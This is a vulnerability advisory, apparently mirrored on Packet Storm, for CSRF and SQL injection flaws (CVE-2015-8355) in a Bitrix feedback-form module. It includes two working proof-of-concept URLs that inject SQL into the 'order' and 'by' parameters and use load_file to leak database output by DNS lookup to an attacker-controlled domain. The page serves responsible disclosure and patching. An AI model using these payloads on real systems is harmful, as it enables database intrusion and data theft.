what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

orion.extfeedbackform Bitrix Module 2.1.2 CSRF / SQL Injection

orion.extfeedbackform Bitrix Module 2.1.2 CSRF / SQL Injection
Posted Dec 17, 2015
Authored by High-Tech Bridge SA | Site htbridge.com

orion.extfeedbackform Bitrix module version 2.1.2 suffers from cross site request forgery and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection, csrf
advisories | CVE-2015-8355
SHA-256 | eec9e7b4e30ebc71c095aa906c94d9c357af287f4a471dcf8ae2f104b0c822cd

orion.extfeedbackform Bitrix Module 2.1.2 CSRF / SQL Injection

Change Mirror Download
Advisory ID: HTB23280
Product: orion.extfeedbackform Bitrix module
Vendor: www.orion-soft.ru
Vulnerable Version(s): 2.1.2 and probably prior
Tested Version: 2.1.2
Advisory Publication: November 18, 2015 [without technical details]
Vendor Notification: November 18, 2015
Vendor Patch: December 11, 2015
Public Disclosure: December 16, 2015
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2015-8355
Risk Level: Medium
CVSSv3 Base Score: 6.3 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )


Advisory Details:

High-Tech Bridge Security Research Lab discovered two vulnerabilities in orion.extfeedbackform Bitrix module, can be exploited to execute arbitrary SQL queries and obtain potentially sensitive data, modify information in database and gain complete control over the vulnerable website.

All discovered vulnerabilities require that the attacker is authorized against the website and has access to vulnerable module. However the vulnerabilities can be also exploited via CSRF, since the web application does not check origin of received requests. This means, that a remote anonymous attacker can create a page with CSRF exploit, trick victim to visit this page and execute arbitrary SQL queries in database of vulnerable website.

The vulnerability exists due to insufficient filtration of input data passed via the "order" and "by" HTTP GET parameters to "/bitrix/admin/orion.extfeedbackform_efbf_forms.php" script. A remote authenticated attacker can manipulate SQL queries by injecting arbitrary SQL code.

Below are two exploits for each vulnerable parameter. They are based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP address for `version()` (or any other sensitive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker).


http://[host]/bitrix/admin/orion.extfeedbackform_efbf_forms.php?by=ID,%28select%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29, %28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29, CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29, CHAR%28111%29,CHAR%28109%29,CHAR%2892%29, CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR%2897%29, CHAR%28114%29%29%29%29+--+


http://[host]/bitrix/admin/orion.extfeedbackform_efbf_forms.php?order=%28select%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29, %28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29, CHAR%28101%29,CHAR%28114%29,CHAR%2846%29, CHAR%2899%29,CHAR%28111%29,CHAR%28109%29,CHAR%2892%29, CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR%2897%29, CHAR%28114%29%29%29%29+--+



Update to orion.extfeedbackform 2.1.3



[1] High-Tech Bridge Advisory HTB23280 - https://www.htbridge.com/advisory/HTB23280 - SQL Injection in orion.extfeedbackform Bitrix module
[2] orion.extfeedbackform - https://marketplace.1c-bitrix.ru/solutions/orion.extfeedbackform/ - Bitrix module for feedback forms.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.


Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    12 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    18 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By